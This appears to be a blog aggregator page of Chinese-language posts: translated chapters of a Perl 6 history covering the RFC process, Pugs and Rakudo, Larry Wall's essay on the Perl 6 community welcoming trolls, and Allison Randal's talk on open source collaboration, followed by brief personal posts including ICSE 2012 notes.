(This is a translation of masak++'s excellent Perl 6 anniversary post, part 2 of 5.)
(這是 masak++ 為慶祝“樂土專案”即將正式發行所寫的紀念文章的中譯。)


也許你聽說過 Perl 6 最初的「徵求建議(RFC)」過程 。當時 Perl 6 才剛開始,連 Larry Wall 都還不知道要朝哪個方向發展。

於是,Perl 社群建了一套系統,公開徵求對語言功能的建議。

系統上線時,團隊原本估計會收到大約 20~30 份建議書。

結果,總共收到了 361 份!

建議書不只是數量多,而且涵蓋的範圍五花八門,甚至互相衝突。大部份的建議只考慮到一個面向,完全沒有考慮到它會對整體語言造成什麼影響。

如果當時我們竟然把所有建議都實作出來的話,結果也許會像這頭著名的 Perl 6 大怪獸一樣吧。

除此之外,社群對建議書的後續討論裡,往往缺乏「如何實作」的細節。Mark-Jason Dominus 對 Perl 6 RFC 過程的評論如下:

於是「誰來幫貓掛鈴鐺」的問題就出現了。人們提出各種各樣的功能,然後不停討論細節,但其實這些功能根本沒辦法實現。 [...]

這讓討論失去焦點,難以集中到實際可行的權衡取捨上。[...]

最後,就我個人而言,我覺得這種「不求甚解」的態度相當惱人。它讓很多實際瞭解 Perl 內部細節的人不想參與討論。

最後還是 Larry Wall 獨力接下了整合 RFC 的重任,將它們融會貫通成完整的構思。他發佈的文件統稱「啟示錄」,對 RFC 分門別類、逐項點評:有的獲得採納,有的部份保留,也有些遭到駁回。

啟示錄的編號,依照駱駝書的章節順序排列:舉例來說,和第三章「算符」相對應的「啟示錄三」,講的就是 Perl 6 裡該具備哪些算符。

以下是所有已發佈的啟示錄:

  • 啟示錄一,2001年5月
  • 啟示錄二,2001年5月
  • 啟示錄三,2001年10月
  • 啟示錄四,2002年1月
  • 啟示錄五,2002年6月
  • 啟示錄六,2003年3月
  • 啟示錄十二,2004年4月

2001 ~ 2004 這三年,可說是 Perl 6 從眾人的意見中逐漸淬煉成形的階段。

與「啟示錄」同時發佈的,還有由 Perl 6 的主要設計者之一 Damian Conway 撰寫的「注疏」。

「啟示錄」注重的是語言的藍圖,以及功能的去留與否。「注疏」則負責展示如何使用新的功能,並對 Perl 5 程式員解釋 Perl 6 提供了哪些改進。

此刻我重讀「注疏」,覺得特別有趣的是當年「Perl 6 只是 Perl 5 的新分支」這個想法。當時的 Perl 6 已經作出許多細部的改進,但是 Damian 在「注疏二」裡,介紹完一長段 Perl 6 程式後,仍然如此敘述:

…事實上,這支程式總共 1779 字,和 Perl 5 的版本之間只差 40 個字。而且幾乎都只是把陣列取值從 $x[…] 改成 @x[…] 而已。不用靠 p52p6 自動翻譯,就有 98% 的相容性… 還不賴!

這個想法如今已然不再。如果你到 #perl6 頻道上問「Perl 6 和 Perl 5 像不像?」我們會這樣回答:雖然這兩種語言的基本概念和目的相以,但是語法卻大有不同。所以,最好把 Perl 6 當作新的語言來學,而不是用寫 Perl 5 的角度來思考。

在 2004 年,Perl 6 團隊對啟示錄作出摘要,去除闡釋的段落,發佈成足以作為語言規格的幾篇「綱要」,以供實作團隊參考。「綱要」雖然言簡意賅,但對於想深入瞭解 Perl 6 語言的人來說,仍然是不可或缺的一批文件。

作為 Perl 6 語言的定義,「綱要」一直持續更新至今。在 perlcabal.org 上,目前共有 33 篇綱要。其中的 S02 ~ S06 已經相當穩定,偶爾有些小幅更動。其餘部份則仍然處於草案階段,有待實作者及使用者的後續回饋,來讓它們更臻完善。

與此同時,許多實作 Perl 6 的計劃紛紛出現,但最終都以放棄收場。

早在擲杯事件和 RFC 之前,Chip Salzenberg 就用 C++ 開始進行「Topaz」計劃,並準備將它發展成 Perl 6。Topaz 原本打算重寫 Perl 5 的內部結構,但卻難以為繼。

當我問 Larry 為何 Topaz 會失敗時,他的回答是:「重新實作過的瘋狂,依然還是瘋狂。」(意思是:「不要試圖把 Perl 5 的核心改裝成 Perl 6。」)

此外還有「Sapphire」專案,只持續了一個星期。它開始於 2000 年 9 月,當時 Perl 6 才剛宣佈不久。Sapphire 也採取了「重寫 Perl 5 核心」的規劃,作為 Perl 6 正式實作前的預習。

不久之後,Parrot 專案開始發展。它是一個專為動態語言設計的虛擬機器,特別適合執行動態程度極高的 Perl 6 所需。

同時開始的還有 Ponie 專案,試圖將 Perl 5 硬生生移植到 Parrot 上運行。正如這篇文章所述,Ponie 因為巴士數太低,以及當時 Parrot 還不夠成熟的緣故,最終在 2006 內正式解散。

當時我是一介旁觀者,只知道有 Parrot,沒聽過其他專案,更不知道 Parrot 上曾經出現過的 Perl 6 實作。

我認真讀完了每篇「啟示錄」和「注疏」,覺得它們很有意思。

可然後呢?這個程式語言有一天能成真嗎?沒人曉得。似乎沒有什麼激動人心的事情發生。

在 2005 年初,有位唐某人在 perl6-all 通信論壇上貼了一段短訊,說自己正在實作一小部份「不產生副作用運算的 Perl 6」。(請留意這篇郵件的口氣,和 Linus Torvalds 著名的那篇「不像 GNU 那麼大規模」聲明的相似程度。)

不知不覺間,這「一小部份」已經成長為完整的 Perl 6 實作,它的名字叫作 Pugs。

by audreyt at December 28, 2013 08:33 PM

Perl 6 十周年慶: Pugs:黃金年代 (五之三)

(This is a translation of masak++'s excellent Perl 6 anniversary post, part 3 of 5.)
(這是 masak++ 為慶祝“樂土專案”即將正式發行所寫的紀念文章的中譯。)

我還記得初次踏入 #perl6 頻道的感覺。

有人真的拿「綱要」來實作,這已經夠驚人了。而唐鳳又是個極富生產力的黑客,像磁鐵一般,以前所未見的速度吸引眾人投入開發。

待在 #perl6 頻道上,就像是站在颱風眼附近;事情像奇蹟般陸續發生,無論是因為唐鳳又完成了一組更動,或是旁邊又有人開始了某個很酷的專案。有趣的想法和點子,日夜不停湧入頻道當中。

而我們所有人都真的在跑(早期的)Perl 6!算符、副程式、類型、多載... 一個接著一個,我們期待以久的功能陸續開始運作。

很快,我們就寫出了在頻道上即時運行 Perl 6 代碼的機器人。

無論是誰,只要一提出改進 Perl 6 的想法,唐鳳就送他一個提交權。這招還真管用!數以百計的人獲得了提交權,卻完全沒有像圍紀系統上常見的破壞行為出現。許多人踴躍加入,主動做出貢獻。

當時我們的口號是「信任安那其」,現在回想起來仍然很聳動。

唐鳳興高采烈地站在漩渦中心,引導大家發展各式相關計劃,幾乎每天都邊寫網誌,邊提交出鉅量的代碼,為逐漸成形的 Perl 6 社群注入活力。

Pugs 是用 Haskell 寫成的,因此早期 #perl6 的文化深受 Haskell 文化的影響。

Pugs 黑客團隊的綽號是「浪達駱駝(Lambdacamels)」;頻道上大量出現資訊科學類的的論文、關於 Haskell 的書藉,以及其他編程相關的深奧論著。這些參考書目今天仍然可以在 Pugs 的 READTHEM 文件裡看到。

頻道上的幽默相當機智,主題往往也和電腦有關。

<audreyt> Alias_:我的眼鏡是 style="border: none"
<Alias_> 無所謂
<Alias_> 人眼的感光邊界會自動加上 border: solid 1px #9999
<audreyt> 說得對
<audreyt> 不過以我的視力來說,更像是 ridged
* audreyt 望著頻道上的高度技客傾向嘆氣
...
<audreyt> 這顯然要 blame malaire++
<audreyt> 我的意思是 praise
<audreyt> 不然說 annotate 好了

頻道上主要的感嘆詞是「讚!(woot!)」。主要說「讚!」的人是唐鳳。業力(Karma)取代了貨幣,由機器人在頻道上統計,並在即時公佈提交訊息時,一併幫提交者加分。

我要說明一點:當時在 #perl6 上,我只是個粉絲。我對 Pugs 沒有作出什麼重大貢獻,對「綱要」和語言設計也沒有幫上什麼忙。至於在頻道上搞笑嘛,我倒是不遺餘力。:-)

2005 年 3 月,我的傻言傻語換來了一份提交權:

<autrijus> 歡迎上船!
<masak> 謝謝。因為 Pugs 的關係,我幾乎整晚沒睡。:-)
<autrijus> 開心嗎?
<masak> 太興奮了
<autrijus> 這感覺我懂 :)))

唐鳳保持著很高的開發速度,頻道上經常出現關於他生產力的玩笑:

<autrijus> 待會見 - 洗澡去 &
<geoffb> 所以說唐鳳在浴室連 IRC 的謠言不是真的嘍...
<geoffb> 也許他把筆記型電腦放在浴簾外,邊洗邊看螢幕。
<autrijus> 沒錯。
<autrijus> 通常是這樣。
<autrijus> 我都拿牙刷按鍵盤,以免鍵盤進水。
<geoffb> *大笑*
...
<Juerd> 每本講 Perl 6 的書都太舊了。
<Juerd> 它們送印後兩小時就過時了。
<Juerd> 等它們進到書店,已經過期一個月了。
<Juerd> 等你買到書準備看時,autrijus 已經把 Perl 6 實作出來了。:)
<mauke> 在睡夢裡實作的!
<castaway> autrijus 會睡覺?
<nothingmuch> castaway: 有時候他宣稱自己去睡了。
* castaway 完全不信
<mauke> 也許他和電腦之間有神經界面,讓他在夢裡寫程式。
<castaway> 這我一點都不意外 :)
<Juerd> castaway: 嗯,有時後他說要去睡,可是沒幾個小時後
              就出現了一大份提交。所以我才不信呢。:)
<castaway> 嘻嘻
<castaway> 據我看來,他每次最多只睡 30 分鐘。
<Juerd> 我想他有超線程功能。

唐鳳曾經說過:「人們以為我是了不起的程序員,但其實是 Haskell 和 Parsec(Haskell 的剖析結合函式庫)太強大了。」不過,這並沒有讓人們停止議論他的產能。

2006 年的某一天,Larry Wall 加入了 #perl6 頻道。他再也沒有離開過。

<avar> ?eval <物美 迅速 價廉>.pick(2)
<evalbot_r16148>("物美", "價廉")
<TimToady> 這是在說我們沒錯...

不過,我們確實失去了唐鳳。在他進入跨性別旅程後,產量雖然有增無減,但在 2007 年一次艱難的重構任務中,唐鳳突然爆發急性肝炎,於是離開了頻道,再也沒有回來。

Pugs 中斷開發。在唐鳳離開後,頻道頓時安靜了許多。

Pugs 還在,但已不再更新,也還沒完全達成對 Perl 6 規格的實作。社群裡的成員都在,但核心人物卻消失了。

當時我不知道未來會如何,只好盼望有更多像 Pugs 一樣的計劃出現。

(唐鳳沒有回頻道的原因,直到兩年之後才在他的一篇網誌裡揭曉。)

by audreyt at December 28, 2013 08:32 PM

Perl 6 十周年慶: Rakudo:白銀年代 (五之四)

(This is a translation of masak++'s excellent Perl 6 anniversary post, part 4 of 5.)
(這是 masak++ 為慶祝“樂土之星”即將正式發行所寫的紀念文章的中譯。)

Pugs 帶來了決定性的變化。隨著唐鳳的「非官方」Perl 6 實作完成度愈來愈高,不少人也開始發展自己的「小規模」實作。

從 2005 年到今天,有十來個「小規模」實作陸續出現,其中不少到現在仍在持續開發。其中有些是為了探索 Perl 6 某部份的設計,也有的是想要實作出整個語言。

(我稱它們為「小規模」,是因為開發者人數較少,使用者也不多的緣故。)

從 Pugs 登場到離場的這兩年多裡,在 Parrot 上實作 Perl 6 的腳步並未稍停。但因為當時 Parrot 還不夠成熟,想要慢慢搭建起編譯器所需的工具鏈,勢必得花上許多時間。

早在 2005 年時,Patrick Michaud 就已著手在 Parrot 上實作文法引擎(PGE)及編譯器工具集(PCT)。到了 2007 年,Patrick 終於得以開始正式實作 Perl 6;這個計劃在 2008 年初命名為 Rakudo(樂土)。

老實說,我是在它取名為「樂土」之後,纔注意到這個計劃的。

Patrick 的願景是這樣的:一個完整的 Perl 6 實作,首先需要有良好的 Perl 6 文法引擎,以及完善的的編譯器工具鏈作為基礎。在完成這兩項計劃之後,Patrick 才轉而開發實際的 Perl 6 編譯器和執行環境。

當時,一位名叫 Jonathan Worthington 的強人不慎答應 Patrick,要在 Rakudo 上實作 Junction(連接值)功能。(後來他纔發現,要實作連接值,得先實作多重分派,而這又得先實作型別系統,所以又得先完成大部份的物件導向系統... XD)

於是在 2008 上半年,Patrick 和 Jonathan 齊心協力,為 Rakudo 寫出了一個接一個的功能。

雖然 Rakudo 並不像唐鳳開發 Pugs 時那樣輕鬆寫意,而且早期版本實作的功能通常漏洞百出,但它確實讓 Perl 6 社群再度活躍起來。

在相對完整但發展停滯的 Pugs 計劃,與緩慢但穩定地追上 Pugs 的 Rakudo 計劃之間,我逐漸把注意力轉向後者。

2008 年的夏天過得很快;我和 viklund 合作,用當時還乳臭未乾的 Rakudo 寫一套圍紀引擎(純粹為了好玩而已)。

我們對自己說,如果竟然能寫出來,那我們就到 YAPC::EU 會議上,以它為主題來一場閃電演講。

嗯,最後我們真的寫出來了,也真的到 YAPC::EU 講了一場。與會者聽到有人能用 Perl 6 寫網站程式,反應十分熱烈,我們也很開心。

可是,中間我們繞了多大的彎,避開了多少還沒實作的功能,又發現了多少瑕疵啊!

而且,既然這是個秘密計劃,我們就不能在 #perl6 上直接貼出有問題的程式。要回報瑕疵之前,我們得先把代碼清理到看不出和圍紀有任何關係纔行。在那段時間裡,我學會了在瑕疵回報上打高爾夫(Golfing,壓縮字數)的價值。

那年夏天,我提交了許多瑕疵回報,每份的代碼都清理過了。就像小孩子收集瓶蓋一樣,我開始熱衷於此。

當時 Rakudo 的瑕疵不少。有一陣子,瑕疵似乎無所不在。這不能怪 Patrick 和 Jonathan;他們一直都很盡責。但任何專案都要經歷實地運用的考驗,而 viklund 和我恰好是首先拿 Rakudo 來用的人。

實地測試和回報瑕疵成了我的嗜好,驅使我不斷重複著「拿 Rakudo 做些新鮮事」、「看 Rakudo 爆炸」、「寫瑕疵報告」的無盡迴圈。

能脫離粉絲階段,正式參與開發,這讓我非常高興。日後我寫了更多 Perl 6 代碼,甚至還拿到了 Rakudo 的提交權... 但我想我會一直當那個「專門提瑕疵報告的傢伙」吧。

目前頻道上的幽默以大笑貓(lolcat)、奇特的顏文字,以及其他時下的網路流行語彙為主。頻道上的氛圍輕鬆有趣;大笑貓和編譯器內核開發的對比,時常令人耳目一新。

<pmichaud> 早安, #perl6
<jnthn> 早, pmichaud
<PerlJam> pm 你好
<colomon> o/
<mathw> o/ pmichaud
<moritz_> /o/
<mathw> \o\
<jnthn> \o/ |\o/| o< /o\
<jnthn> ;-)
<mathw> 啊啊啊啊
* mathw 躲起來
<okeCay> o/\o !

隨著 Rakudo 漸趨成熟,「綱要」也隨之作出修訂。也許有人覺得這很可怕。要怎樣去學一門不斷變化的語言呢?為什麼不讓規範文件確定下來呢?

我個人的想法是:我不希望語言規範被「鎖定」或「凍結」住,因為目前的修訂已經愈來愈小,大都是為了修正 Rakudo 等實作回報出的問題。

雖然 Perl 6 的規格改動幅度超過我所知的其他語言,但另一方面,它也一天天變得更加穩定。我們稱它為「漩渦式開發模型」,實作和規範雖然相互影響,但最終仍是往同一個單點收歛。

相對於某些 IRC 頻道的粗暴文化,#perl6 可說是網路上最親切的地方之一。我們花非常多的時間回答新手的問題、幫忙修正語法錯誤、並為訪客和開發團隊釐清各式術語及設計方針。我們互相幫忙看代碼和網誌文章,讓頻道上洋溢著彼此尊重和互相照顧的感覺。

今天的 #perl6 幾乎是「日不落頻道」,擁有來自全球各地的人積極參與。我們不僅覺得這裡有個非常酷、足以向世界展示的語言,也很自豪於 Perl 6 文化的良好素質。

2008 年以來,Rakudo 逐漸領先其他實作,完成度甚至超越了 Pugs。目前絕大多數的算符和控制結構都已完工,更有強大的正規表示式與文法引擎(感謝 Patrick!)以及優秀的物件導向、多重分派支援(感謝 Jonathan!),許多其他功能也已充份實作。

我們還有許多「小規模」的 Perl 6 實作,幫忙推動「綱要」發展和探索實作策略。但投注於 Rakudo 開發的人力,確實遠大於其他實作。Rakudo 每月釋出新版的工作人員名單,通常都在二三十人以上。

重新回到「Perl 6 每天都更近一些」的日子真好。

我仍然每天回報一則 Rakudo 的瑕疵,但通常是關於尚未實作的進階語言特性,而不是缺少什麼常用的功能。

2009 年至今,Rakudo 成功完成了幾項龐大的重構任務。首先是文法系統,隨後其他各元件也都分別重新寫過。

對開發者來說,這些小計劃統合成了所謂的「Rakudo 大重構」。

對於外界來說,這就是即將正式發表的 Rakudo Star,「樂土之星」。

by audreyt at December 28, 2013 08:31 PM

Rakudo Star:Perl 6 正式起飛(五之五)

(This is a translation of masak++'s excellent Perl 6 anniversary post, part 5 of 5.)

我們正在寫這段歷史。

七月二十九日,Rakudo 團隊正式釋出「樂土之星(Rakudo Star)」,也是 Rakudo Perl 計劃的第一個正式發行版本。(請按此處下載。)

在我看來,這個時機真是恰當極了。

在 Jon Orwant 擲杯之後的十年,Perl 6 團隊向全世界說:「這是我們的作品。幾年來我們孜孜不倦,對它切磋琢磨,如今它已曖曖含光、足堪重任。請試試看,用它來做些有趣的事吧!」

這些年來,從瓷杯創生的 Perl 6 專案,讓包括筆者在內的許多人興奮不已。

現在是讓更多人加入的時候了。

我們在此誠摰地邀請您,一同踏入這片樂土。

by audreyt at December 28, 2013 08:31 PM

小白與 Perl 6:華麗的冒險

(這是 Day 24 – Yule the Ancient Troll-tide Carol 的中譯,作者是 Larry Wall。)
(感謝康寧馨斧正譯文。)


你在耶誕夜拆開禮物,發現了一面鏡子,裡頭可以看到自己。

鏡面上刻鑄一行聲明:

鏡子裡的主體,實際上比看起來近。

但它一點兒也不像汽車後視鏡。看來雖然脆弱,可結實得很,兩歲的你再怎麼費勁,也弄不破它。

「啥?鏡子裡怎麼會出現以前的我?」

你把鏡子扳來扳去,裡面不祇出現了你過去的尷尬身影,還有你未來可能成為的模樣,好的壞的都有。

「哇!」

突然一陣五內翻騰,天旋地轉後,你看著鏡子,但,不是從外頭看著鏡面,而是從鏡子裡朝外看:除了你的各個倒影之外,還出現了許多人,從鏡外看著你。你是他們過去或未來的模樣。

顯然,出於一場意外,你被吸進了超維鏡裡——現在你是 Perl 6 社群的一員了。

我們(包括你)獻給你(包括我們)的禮物,就是我們夢想中自己的模樣。

換句話說,你被黑克了!甚至,是被博格了!不過,也許你會試著喜歡這件事。

Perl 不祇是技術,也是一種文化:Perl 是一套鼓勵技術黑克的技術,也是一種鼓勵文化黑克的文化。

Perl 歷史上的第一個黑克,就是「捐出實作程式,交由社群維護」。之後還有許多別的黑克,大的小的都有。其中有些黑克也出現在你持有的鏡子裡。呃,我是說持有你的鏡子裡。

第二個文化大黑克則顛覆了 Unix 文化裡的還原論思想,讓它也能適用在還原論之外的情況

「採用雙重授權」是第三個文化黑克,讓企業和 FSF 都能接受 Perl。

還有個眾所周知的黑克:寫一本電腦書,讓它不僅有料,而且還很有趣!

但這些不過是粗淺的黑克而已。Perl 文化的深層黑克,是讓社群能夠自我引導,自己黑克自己,遞迴建構、日新又新。(通常,是往好的方向走。)

Perl 6 也延續了「Positive Trolling」的優良傳統。在古英語裡,Troll 的意思是「歡唱」,好比說「Troll the ancient yuletide carol」。我們的「Perl 6 耶誕倒數」活動,正是這類歡唱的好例子。(它也是遞迴式社群自我建構的模範之一。)


還有許多別的例子。

好比說,打開 perl6.org 的首頁,立刻就能看到幾項文化黑克。最醒目的,自然是我們的蝴蝶標誌「Camelia」。

她透過圖象和文字,來為文化黑克發聲。圖象在說:

  • Perl 6 十分有趣。
  • Perl 6 生機盎然。
  • Perl 6 富有魅力。
  • Perl 6 主題明快。
  • Perl 6 注重個人也注重關係。
  • Perl 6 經歷了一番脫胎換骨。
  • Perl 6 既簡樸又縝密。
  • Perl 6 對女人和小孩友善。

從反面來說:

  • Perl 6 和蒼白乏味的企業形象無關。
  • Perl 6 好看,但不至於美到令人心碎。
  • Perl 6 不像駱駝那樣桀傲難馴。
  • Perl 6 對偷耶誕禮物的搗蛋鬼並不友善。

我們發現 Camelia 是很有用的文化黑克:從它挑起的情緒反應,我們可以辨認出想偷走耶誕節的搗蛋鬼是哪些人。

凡是社群,都有新加入的成員,其中難免有些人態度惡劣。像 Camelia 這樣鮮明的攻擊目標,往往讓這些人忍不住做出一些白目的行為,就像是在說:「嗨,我是小白。擁抱我吧。」

這裡可以看到 Perl 6 社群的另一項文化黑克:我們擁抱小白。(在某個限度以內。)


Camelia 用文字說得很清楚:「要想加入我們社群,你必須有能力善待各種不同的人。」小白也是人,所以我們都有善待小白的能力。(如果我們對某位小白不好,那是因為我們決定要對他不好,不是因為我們無能。)

我們社群裡有些成員,當年也曾經是小白出身。就像先前提到的那面超維鏡一樣,我們在結伴同行的生命旅程裡,都從彼此身上看到自己的影子。

我們大多希望未來能成為更好的人,也願意承認自己過去的種種缺失。但世界上仍有不少還沒立志向善的人,包括許多小白在內。有些小白確實心術不正,有些只是還沒學到怎樣與人好好相處而已。

因此,當我們說「擁抱小白」時,在操作上的意思是這樣的:當你加入我們的社群時,我們並不介意你當下的狀態有多麼白目。我們在意的,是你的一階和二階導數。

為了讓我們有時間來做差分,我們通常會借力使力、施展語言合氣道,使你有機會表達出更深層的渴望,而你或許只覺得是在折磨我們而已。

如果你立身不正,但願意積極向上,我們一定留住你,直到你改過遷善為止。你想當個好人。我們會幫助你。

如果你立身不正,也不願積極向上,那我們會看看你有沒有逐漸改善的跡象,也就是你的加速度是否為正。你還不想變成好人,但或許你會想變成「想變成好人」的人。這我們可能也幫得上忙。只要保持正向加速度,最後,速度和位置總是會跟上的。


總之,社群裡確實有搗蛋鬼,但有些搗蛋鬼是會懺悔的。我們想給他們一個機會。因此,有時候當搗蛋鬼來偷禮物時,我們只是站在一旁唱歌。

但是,有些搗蛋鬼就是死不悔改。

我們有沒有提醒過你,Camelia 的翅膀展開有三米長,而且她喜歡抓住死不悔改的搗蛋鬼、吸出他們的腦漿?不僅如此,幼蟲期的 Camelia 是隻駱駝,所以,她也會噴口水。你絕對、絕對不會想要嘗到被 Camelia 吸出腦漿,再噴出腦漿的滋味。

話說回來,大多數人的腦子並不需要吸或噴,只需要好好洗洗。

人們一旦領略了 Perl 的元哲學,便會發現,探索技術和文化的融合是一場多麼華麗的冒險。相形之下,惹人討厭的搗蛋行徑簡直是無聊透了,也簡單透了。

我們希望你喜歡這面新的超維鏡,也希望你喜歡曾享用過(或即將享用)的這二十四篇文章

祝你有個璀璨的倒數,加入我們華麗的冒險。

法-啦-啦-啦-啦,啦-啦-啦-啦!

by audreyt at December 28, 2013 08:30 PM

開源之道

(這是 Allison Randal 在 OSDC.tw 的演講中譯本。請參見原文錄影。)

這幾年來,我慢慢覺得,我們參與開源社群,就像是在一條道路上並肩而行:這不僅讓我們成為更好的程式設計者,也讓我們通過與人合作,而成為更好的人。

您可以將它想成一條修行之道,讓身而為人的我們能夠不斷成長。接下來,我想談談我對開源世界的個人觀點,希望能與您分享。

首先,人是一切開源專案的核心。程式碼是很重要,但最核心的永遠是人。

人們透過各種不同的方式來參與專案:有人寫程式,有人寫文件,有人寫測試。而使用軟體的人,同樣也是專案裡不可或缺的一部分。

您的專案也許會用到別人開發的軟體,而因此接觸到上游的專案,或許偶爾也會向他們提出建議和修正。

又或許您開發的是一套程式庫或模組,提供給其他專案的人使用。此時,您就是他們的上游專案,他們也會用相同的方式來與您溝通。

所以,人們到底為什麼要做開源軟體呢?如果您想理解開源模式如何運作,這是一個很關鍵的問題。

許多人在日常工作中,可能已經常常和軟體打交道了。我們為什麼要花額外的心力,來參與開源專案呢?一部分的原因,是因為這能夠讓人迅速接觸到刺激、有趣的新鮮技術。

能夠與人分享,也是一個主因:透過與人分享,我們可以認識開源專案裡的同好,來提升彼此的樂趣。

投入開源專案的人,往往也帶著分享奉獻的精神。能夠伸出雙手幫助別人,是身而為人很重要的一部份。

除了這些內在因素,參與開源專案工作,也可以得到許多回報。其中一項,是獲得別人的敬重:當我們創造新的事物與人分享,進而吸引人們一同合作時,人們自然會認識我們的人品與才能,從而為我們自己帶來成就感。

換個角度來看,這也意味著:我們應當對於加入專案的人表示尊重,這樣人們才會願意繼續參與專案的活動。

欣賞別人的作品也很重要。當人們發表自己的作品,而您有機會與他們交流時,即使是一封簡單的電子郵件感謝函,說「您的專案對我很重要」,也足以營造出一種正向的文化,讓大家都能保有繼續創造的動力。

懂得讚美也很重要。當您介紹專案時,不要忘了讚賞您身邊的人,讓大家認識這些人是誰、做了多麼棒的貢獻,以建立社群的認同感。

之所以有那麼多人持續對開源專案保持興趣,其中一個原因是這樣的:在合力工作時,我們的能力會愈來愈強,能做的事也愈來愈多。

光用簡單的算數來想:如果我們有兩倍的人,至少就可以寫兩倍多的程式,有三倍的人就可以寫出三倍的程式。不過,我們的能力遠遠不止這些。

在一起合作時,我們可以透過彼此鼓勵,讓彼此變得更好更強大。當您看到其他人正在解決艱難的問題時,您不妨鼓勵他們,跟他們說:「你做得很好,而且我看得出來,你在未來會做得更棒。」

僅僅是透過談話和分享,您就可以為他人培力,讓對方變得更好。

還有一點就是,當許多人聚在一起的時候,每個人都有不同的能力。一起工作時,可能您知道專案需要的五樣東西,而其他人知道另外五樣東西,您們互補長短,就有了一整套技能足以完成專案,而這是單打獨鬥時做不到的事情。

所以在多人合作時,不只是生產力倍增,還可以達到互相加乘的效果。

另一件很重要的事,是鼓勵彼此放眼未來、看得更遠。我們可以給其他人靈感,幫助他們解決有意思的問題。有時,只要說「我有這個想法...」,別人就可以將它化為現實。

有些時候,您只要看看別人在做些什麼,然後告訴他們您想到的關鍵之處,不必自己跳下去實作,也可以幫助他們走得更好更遠。

在做開源工作時,我們得時常提醒自己,我們並不是孤身一人。由於需要和許多人合作,我們最需要注意的,就是不斷改進自己的溝通技巧。

我們經常會彼此溝通對未來的規劃,例如軟體專案的發展藍圖,以及我們的個人計劃,像是接下來想要實作哪些功能等等。

在開源社群中,我注意到一件事情:人們對如何做軟體往往有很好的規劃,可是卻由於缺乏良好的溝通,而讓彼此的計劃互相衝突。如果您朝向某個規劃埋頭開發,而沒有與人溝通的話,很可能會傷害到其他朝向不同方向開發的人。

我們就像一窩在蜂巢裡的蜜蜂,要經常發出嗡嗡聲,才能讓彼此持續發揮功能。

此外,我們還會不時討論技術問題,嘗試找出最好的解決方案。在面對技術問題的時候,人們可能會互相爭論、甚至大動肝火,讓事情難以獲得實質的進展。

所以,我們在工作過程裡,要逐漸學會接受各種各樣的可能性。對於您自己想到的解法,您當然應該持續努力,但也不妨對別人所提出的其他可能性,抱持開放的態度。

而在您自己的工作有所進展時,也可以透過各種通訊管道,讓大家知道您做了些什麼。發電郵、寫推特… 有很多方法能讓人們知道您的進度。

有時候我們可能會覺得害羞,或是不想被別人認為自己在吹噓。但其實事情完全不是這樣!多溝通對專案有好處,對專案裡的人也是好事,因為他們可以從您所作的事情裡學到東西。

溝通的另一個重點是問問題。有社群的好處,就是可能有人已經解決過您正在面對的問題。透過論壇或聊天室主動發問,可以為您省去很多時間。

同樣的道理,當別人想要學習時,您也可以認真回應,而不是對簡單的問題拋下一句「RTFM(去看該死的說明書)」就算了。

如果您回答「RTFM」,的確可以為自己省些時間,但是您一旦這麼做,同時也是在告訴別人說,他們一開始就不應該問問題。而這絕對不是您想要的效果,您要的是培養對方溝通的意願。

學著如何去給別人有幫助的答案,幫助他們一同走上這條開源之道,日後他們才能把這條路走得更長、更遠。

有些時候,批評別人是必要的。雖然我們對各種可能性抱持開放的態度,但針對特定的技術問題,確實可能有某種解法比其他的都要正確。即使如此,當您想要讓別人改變他們的看法,最好的方式是用友善的態度提出回應,對方才會用開放的胸懷來向您學習。

即使對方態度惡劣,也請保持優雅。難免有些人會對您很不客氣,但這也是參與開源的必經之路。有時候,臉皮厚一點也有好處。雖然有些人的溝通方式有待加強,但他們說的內容或許也有可取之處,您還是可以從中學到東西。

從這個角度來看,就算人們說話的時候不禮貌,您還是可以禮貌地回應他們。

溝通的另一部分不是說話,而是傾聽。有時我們須要做的,不是告訴別人我們的想法,而是靜靜地坐好,讓別人暢所欲言。

光是聆聽是不夠的,我們還需要有同理心。英文有句俗話說:「如果您真想瞭解某人的話,請穿上他的鞋走一哩路。」 — 或許只有這樣,您才能明白別人所經過的煎熬。

有些人以為,能夠從事開源軟體工作的人,個個都得是天才。事實絕非如此。的確有 Larry、Guido、Linus 這樣的人物,但其實任何一個專案,都需要各方面具有不同才能的人加入。

重要的是,無論您有多聰明,都要保持謙虛。因為只有謙虛的人,才能以開放的態度面對其他人,學會用新方法來做事。謙遜的心態,讓您能歡迎其他人加入您的專案。相反的,抱持驕傲自大的態度,就等於是在跟其他人說:「我不需要你們,我用自己的方法做事就夠了。」

也是因為謙遜,我們才能歡迎各種性別、各種文化的人加入社群,為開源軟體帶來多元而豐富的人才。

就像各個國家有不同的語言和文化一樣,相同的多元性,也體現在各式各樣的開源專案裡。舉例來說,Linux 社群、Perl 社群、Ruby 社群和 Python 社群,都各自用獨特的方式來交流合作。

只要我們懷著一顆謙卑的心,就可以看到自己專案所屬的社群並不是唯一的途徑,也才能夠欣賞其他社群裡的合作方式。

另外,做開源專案並不只是享受樂趣而已。樂趣當然是有,但同時也有責任。當您承諾參與一個專案時,您是讓雙肩扛上了重量。這是件好事,因為責任能讓我們進步,變成更好的人。

但是人生中還有其他的事情,像是您的伴侶、父母、孩子、職業等等。對於開源專案,我們可能會承擔一段時間的責任,但到了某天,我們可能會發現,自己不能再負起那麼多的責任了。

我們要意識到這是一個循環。一開始我們加入社群,然後逐漸負起越來越多的責任。但當人生到達某個階段之後,您總會逐漸減少所負的責任。這個過程完全是自然的,而且在專案的生命週期裡一定會發生。

所以我們不妨想想:「哪天我無法再付出那麼多心力的時候,誰來繼續我的工作呢?」

為了確保其他人能繼續我們的工作,我們可以創造出某種持續前進的過程:盡力教導與分享我們所學到的一切,同時也向其他人學習更多的事物。這是一個不斷吸收與分享知識的過程。

最後,當您在為開源工作的時候,請保持快樂吧,讓您的臉上帶著笑容,讓其他人分享您的喜悅!因為正是這種樂趣給予我們力量,讓我們能創造出偉大的事物。

您現在更快樂了嗎?:-)

by audreyt at December 28, 2013 08:28 PM

February 20, 2013

farseerfc

嫁給我好麼

渲染的樣子
嫁給我好麼

可以玩的是下面這個:

* 用 WASD←→ 移動,需要 WebGL 支持

by farseerfc at February 20, 2013 11:42 AM

June 06, 2012

farseerfc

ICSE 2012

June 6

Keynote 1

沒怎麼聽懂,只記得講到了finance is not money但是沒聽懂這個和軟件有什麼關係。

Cost Estimation for Distributed Software Project

講到他們試圖改善現有的模型去更精確地評估軟件開發的開銷。

